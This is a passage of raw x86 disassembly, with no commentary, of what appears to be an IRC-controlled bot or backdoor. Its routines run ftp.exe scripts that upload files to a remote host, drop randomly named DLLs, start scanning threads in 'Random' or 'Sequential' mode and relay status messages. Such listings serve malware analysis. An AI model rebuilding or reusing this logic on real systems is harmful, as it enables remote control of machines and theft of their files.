ptr 2690579h nop jmp short loc_40724B ; --------------------------------------------------------------------------- loc_40725D: ; CODE XREF: sub_401ACD+577Cj nop call near ptr 2690CE2h push eax push offset unk_42A6DC loc_407269: ; CODE XREF: sub_401ACD+4E31j ; sub_401ACD+62BEj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_407278: ; CODE XREF: sub_401ACD+4E15j ; sub_401ACD+5784j ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push [ebp+var_4] loc_407285: ; CODE XREF: sub_401ACD+22DEj lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4082A8 ; --------------------------------------------------------------------------- loc_407298: ; CODE XREF: sub_401ACD+4F98j ; sub_401ACD+4FAFj push 0Bh call sub_40B33E push edi mov [ebp+arg_1C], eax call sub_41B779 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407454 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A69C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_4072E8: ; CODE XREF: sub_401ACD+526Dj ; sub_401ACD+5639j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401E94 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 push 4 push esi call sub_416908 pop ecx test eax, eax pop ecx jnz short loc_407324 push esi push offset unk_42A674 jmp loc_408CDB ; --------------------------------------------------------------------------- loc_407324: ; CODE XREF: sub_401ACD+584Aj nop call near ptr 26A0D63h push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 9 cdq pop ecx idiv ecx push edx call sub_41B8E2 push 63h cdq pop ecx idiv ecx push edx call sub_41B8E2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+var_2E58] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41B886 lea eax, [ebp+var_2E58] push offset aAb ; "ab" push eax call sub_41B4C2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401E94 push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41BE06 push [ebp+arg_24] call sub_41B05B add esp, 20h lea eax, [ebp+var_2E58] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CAEE0 push [ebp+arg_10] test eax, eax push esi jz short loc_4073F3 push offset unk_42A604 jmp short loc_4073F8 ; --------------------------------------------------------------------------- loc_4073F3: ; CODE XREF: sub_401ACD+591Dj push offset unk_42A5D4 loc_4073F8: ; CODE XREF: sub_401ACD+5924j call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407421 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_407421: ; CODE XREF: sub_401ACD+5936j lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_40742D: ; CODE XREF: sub_401ACD+5985j lea eax, [ebp+var_2E58] push 4 push eax call sub_416908 add esp, 0Ch test eax, eax jz loc_401E94 lea eax, [ebp+var_2E58] push eax call sub_41BDDC jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407454: ; CODE XREF: sub_401ACD+57E5j push [ebp+arg_10] call sub_41B779 push edi mov [ebp+var_370], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41B779 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_40748D push 5 pop eax mov [ebp+var_36C], eax loc_40748D: ; CODE XREF: sub_401ACD+59B5j push 3Ch pop ecx cmp eax, ecx jbe short loc_40749A mov [ebp+var_36C], ecx loc_40749A: ; CODE XREF: sub_401ACD+59C5j push [ebp+arg_18] call sub_41B779 mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_4074BC mov [ebp+var_368], eax loc_4074BC: ; CODE XREF: sub_401ACD+59E7j or [ebp+var_354], 0FFFFFFFFh cmp dword_431408, ebx mov [ebp+arg_20], ebx jz short loc_40750B mov edi, offset dword_431408 loc_4074D3: ; CODE XREF: sub_401ACD+5A20j push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4074F1 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_4074D3 jmp short loc_40750B ; --------------------------------------------------------------------------- loc_4074F1: ; CODE XREF: sub_401ACD+5A16j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431408[ecx] mov [ebp+var_370], ecx loc_40750B: ; CODE XREF: sub_401ACD+59FFj ; sub_401ACD+5A22j cmp [ebp+var_370], ebx jnz short loc_40751D push offset unk_42A5A0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40751D: ; CODE XREF: sub_401ACD+5A44j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_407558 cmp byte ptr [edi], 23h jz short loc_407558 push edi lea eax, [ebp+var_484] push 10h push eax call sub_41B980 push 78h push edi call sub_41BFB0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407632 ; --------------------------------------------------------------------------- loc_407558: ; CODE XREF: sub_401ACD+5A59j ; sub_401ACD+5A5Ej cmp [ebp+var_8FF], bl jnz short loc_40757A cmp [ebp+var_8FE], bl jnz short loc_40757A cmp [ebp+var_8EE], bl jnz short loc_40757A push offset unk_42A56C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40757A: ; CODE XREF: sub_401ACD+5A91j ; sub_401ACD+5A99j ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CAF18 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CB000 push eax lea eax, [ebp+var_484] push eax call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40762C xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41BE40 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407620 loc_4075FE: ; CODE XREF: sub_401ACD+5B51j cmp eax, ebx jz short loc_407620 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4075FE loc_407620: ; CODE XREF: sub_401ACD+5B2Fj ; sub_401ACD+5B33j mov [ebp+var_344], 1 jmp short loc_407632 ; --------------------------------------------------------------------------- loc_40762C: ; CODE XREF: sub_401ACD+5B09j mov [ebp+var_344], ebx loc_407632: ; CODE XREF: sub_401ACD+5A86j ; sub_401ACD+5B5Dj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41B980 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407683 loc_407670: ; CODE XREF: sub_401ACD+5BD9j push esi loc_407671: ; CODE XREF: sub_401ACD+5BC3j lea eax, [ebp+var_3F4] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4076AE ; --------------------------------------------------------------------------- loc_407683: ; CODE XREF: sub_401ACD+5BA1j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407692 cmp byte ptr [eax], 23h jnz short loc_407692 push eax jmp short loc_407671 ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_401ACD+5BBBj ; sub_401ACD+5BC0j mov esi, offset aF ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_407670 mov [ebp+var_3F4], bl loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4076C0 mov eax, offset aSequential ; "Sequential" loc_4076C0: ; CODE XREF: sub_401ACD+5BECj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A504 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C33C push ebx push ebx call near ptr 26905D4h nop mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40774E loc_407738: ; CODE XREF: sub_401ACD+5C7Fj cmp [ebp+var_340], ebx jnz loc_40828B push 32h call near ptr 2690579h nop jmp short loc_407738 ; --------------------------------------------------------------------------- loc_40774E: ; CODE XREF: sub_401ACD+5C69j nop call near ptr 2690CE2h push eax push offset unk_42A4CC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj ; sub_401ACD+4F81j push [ebp+arg_10] call sub_40AAF9 push edi mov [ebp+var_4E0], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_4EC], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41B5F0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CB000 push eax lea eax, [ebp+var_2C4] push offset unk_42A47C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40C759 push ebx push ebx call near ptr 26905D4h nop mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407854 loc_40783E: ; CODE XREF: sub_401ACD+5D85j cmp [ebp+var_4D0], ebx jnz loc_403DA0 push 32h nop call near ptr 2690579h jmp short loc_40783E ; --------------------------------------------------------------------------- loc_407854: ; CODE XREF: sub_401ACD+5D6Fj nop call near ptr 2690CE2h push eax push offset unk_42A440 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407865: ; CODE XREF: sub_401ACD+4F2Dj ; sub_401ACD+4F44j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEC8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A434 push eax call sub_41B886 add esp, 0Ch cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCB0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEC8 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407A35 ; --------------------------------------------------------------------------- loc_40795D: ; CODE XREF: sub_401ACD+4EFFj ; sub_401ACD+4F16j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEC8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCB0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEC8 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h jmp loc_409854 ; --------------------------------------------------------------------------- loc_407A62: ; CODE XREF: sub_401ACD+4ED1j ; sub_401ACD+4EE8j push [ebp+arg_10] call dword_4CAFB4 push edi mov [ebp+var_680], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41B5F0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CB000 push eax lea eax, [ebp+var_2C4] push offset unk_42A3D8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C668 push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407B44 loc_407B2E: ; CODE XREF: sub_401ACD+6075j cmp [ebp+var_670], ebx jnz loc_403DA0 push 32h call near ptr 2690579h nop jmp short loc_407B2E ; --------------------------------------------------------------------------- loc_407B44: ; CODE XREF: sub_401ACD+605Fj nop call near ptr 2690CE2h push eax push offset unk_42A4CC jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407B55: ; CODE XREF: sub_401ACD+4EA3j ; sub_401ACD+4EBAj push [ebp+arg_10] call sub_41B779 mov [ebp+var_112C], eax push 7Fh lea eax, [ebp+var_1230] push edi push eax call sub_41B5F0 push [ebp+arg_0] call sub_41B779 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+var_88] mov [ebp+var_1238], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A39C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset loc_4103AA push ebx push ebx call near ptr 26905D4h nop mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407C41 loc_407C2B: ; CODE XREF: sub_401ACD+6172j cmp [ebp+var_1118], ebx jnz loc_403DA0 push 32h call near ptr 2690579h nop jmp short loc_407C2B ; --------------------------------------------------------------------------- loc_407C41: ; CODE XREF: sub_401ACD+615Cj nop call near ptr 2690CE2h push eax push offset unk_42A358 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407C52: ; CODE XREF: sub_401ACD+4E75j ; sub_401ACD+4E8Cj push 0FFh lea eax, [ebp+var_2878] push [ebp+arg_10] push eax call sub_41B5F0 push 0FFh lea eax, [ebp+var_2778] push edi push eax call sub_41B5F0 push [ebp+arg_0] mov [ebp+var_2674], ebx call sub_41B779 mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407CAB push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407CB1 ; --------------------------------------------------------------------------- loc_407CAB: ; CODE XREF: sub_401ACD+61C8j mov [ebp+var_2668], ebx loc_407CB1: ; CODE XREF: sub_401ACD+61DCj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407CC8 push esi call sub_41B779 pop ecx mov [ebp+var_266C], eax jmp short loc_407CCE ; --------------------------------------------------------------------------- loc_407CC8: ; CODE XREF: sub_401ACD+61EAj mov [ebp+var_266C], ebx loc_407CCE: ; CODE XREF: sub_401ACD+61F9j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A32C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset loc_4163F9 push ebx push ebx call near ptr 26905D4h nop mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407D7F loc_407D69: ; CODE XREF: sub_401ACD+62B0j cmp [ebp+var_2658], ebx jnz loc_407278 push 32h nop call near ptr 2690579h jmp short loc_407D69 ; --------------------------------------------------------------------------- loc_407D7F: ; CODE XREF: sub_401ACD+629Aj nop call near ptr 2690CE2h push eax push offset unk_42A2EC jmp loc_407269 ; --------------------------------------------------------------------------- loc_407D90: ; CODE XREF: sub_401ACD+4E47j ; sub_401ACD+4E5Ej push 7Fh lea eax, [ebp+var_3490] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3410] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3390] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3310] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3494], esi push [ebp+arg_10] push offset unk_42A2B0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset byte_414A91 push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407E67 loc_407E51: ; CODE XREF: sub_401ACD+6398j cmp [ebp+var_3284], ebx jnz loc_407278 push 32h nop call near ptr 2690579h jmp short loc_407E51 ; --------------------------------------------------------------------------- loc_407E67: ; CODE XREF: sub_401ACD+6382j call near ptr 2690CE2h nop push eax push offset unk_42A278 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj ; sub_401ACD+4D31j push 7Fh lea eax, [ebp+var_3068] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2FE8] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_2F68] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2EE8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_306C], esi push [ebp+arg_10] push offset unk_42A248 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset dword_4137CC push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407F4F loc_407F39: ; CODE XREF: sub_401ACD+6480j cmp [ebp+var_2E5C], ebx jnz loc_407278 push 32h call near ptr 2690579h nop jmp short loc_407F39 ; --------------------------------------------------------------------------- loc_407F4F: ; CODE XREF: sub_401ACD+646Aj call near ptr 2690CE2h nop push eax push offset unk_42A210 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407F60: ; CODE XREF: sub_401ACD+4BF1j ; sub_401ACD+4C08j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3C64] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3BE4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3B64] push [ebp+var_88] push eax call sub_41B5F0 push 20h lea eax, [ebp+var_3AE4] push [ebp+arg_8] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3CEC], esi push [ebp+arg_10] push offset unk_42A1E0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset byte_412A53 push ebx push ebx call near ptr 26905D4h nop mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408048 loc_408032: ; CODE XREF: sub_401ACD+6579j cmp [ebp+var_3A5C], ebx jnz loc_407278 push 32h nop call near ptr 2690579h jmp short loc_408032 ; --------------------------------------------------------------------------- loc_408048: ; CODE XREF: sub_401ACD+6563j nop call near ptr 2690CE2h push eax push offset unk_42A1A8 jmp loc_407269 ; --------------------------------------------------------------------------- loc_408059: ; CODE XREF: sub_401ACD+4BC3j ; sub_401ACD+4BDAj push 7Fh lea eax, [ebp+var_1778] push [ebp+arg_10] push eax call sub_41B5F0 push edi call sub_41B779 push 3Fh mov [ebp+var_1628], eax push [ebp+arg_0] lea eax, [ebp+var_16F8] push eax call sub_41B5F0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4080A4 push 3Fh lea eax, [ebp+var_16B8] push esi push eax call sub_41B5F0 add esp, 0Ch loc_4080A4: ; CODE XREF: sub_401ACD+65C3j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+var_2C4] push offset dword_42A178 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4017ED push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408130 loc_40811A: ; CODE XREF: sub_401ACD+6661j cmp [ebp+var_161C], ebx jnz loc_406CDE push 32h nop call near ptr 2690579h jmp short loc_40811A ; --------------------------------------------------------------------------- loc_408130: ; CODE XREF: sub_401ACD+664Bj nop call near ptr 2690CE2h push eax push offset dword_42A13C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408141: ; CODE XREF: sub_401ACD+4B83j ; sub_401ACD+4B9Aj push edi call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408234 push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EEC] push esi push eax call sub_41B980 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A110 push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset byte_412E9D push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408223 loc_408211: ; CODE XREF: sub_401ACD+6754j cmp [ebp+var_1D54], ebx jnz short loc_40828B push 32h nop call near ptr 2690579h jmp short loc_408211 ; --------------------------------------------------------------------------- loc_408223: ; CODE XREF: sub_401ACD+6742j nop call near ptr 2690CE2h push eax push offset unk_42A0D8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_408234: ; CODE XREF: sub_401ACD+6683j push offset unk_42A0A0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40823E: ; CODE XREF: sub_401ACD+4B55j ; sub_401ACD+4B6Cj push edi push [ebp+arg_10] nop call near ptr 26B0B81h test eax, eax jz short loc_40826B push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset unk_42A07C push 200h push eax call sub_41B980 add esp, 14h jmp short loc_40828B ; --------------------------------------------------------------------------- loc_40826B: ; CODE XREF: sub_401ACD+677Dj push offset dword_42A070 call sub_41814C pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 loc_408288: ; CODE XREF: sub_401ACD+2F2Aj ; sub_401ACD+556Fj add esp, 0Ch loc_40828B: ; CODE XREF: sub_401ACD+2136j ; sub_401ACD+2ECCj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4082A8: ; CODE XREF: sub_401ACD+57C6j call sub_409A72 add esp, 14h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4082B5: ; CODE XREF: sub_401ACD+4B27j ; sub_401ACD+4B3Ej push [ebp+arg_10] lea eax, [ebp+var_3F04] push 104h push eax call sub_41B980 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4082EF push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4082EF push eax lea eax, [ebp+var_3E00] push eax call sub_41B886 pop ecx pop ecx loc_4082EF: ; CODE XREF: sub_401ACD+6802j ; sub_401ACD+6811j push [ebp+var_88] lea eax, [ebp+var_3F84] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset unk_42A040 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset byte_416CAD push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4083A1 loc_40838F: ; CODE XREF: sub_401ACD+68D2j cmp [ebp+var_3CF0], ebx jnz short loc_4083BC push 32h nop call near ptr 2690579h jmp short loc_40838F ; --------------------------------------------------------------------------- loc_4083A1: ; CODE XREF: sub_401ACD+68C0j call near ptr 2690CE2h nop push eax push offset unk_42A004 loc_4083AD: ; CODE XREF: sub_401ACD+925j ; sub_401ACD+A63j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_4083BC: ; CODE XREF: sub_401ACD+7E1j ; sub_401ACD+94Cj ... push 1 pop esi jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j ; sub_401ACD+4B10j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call 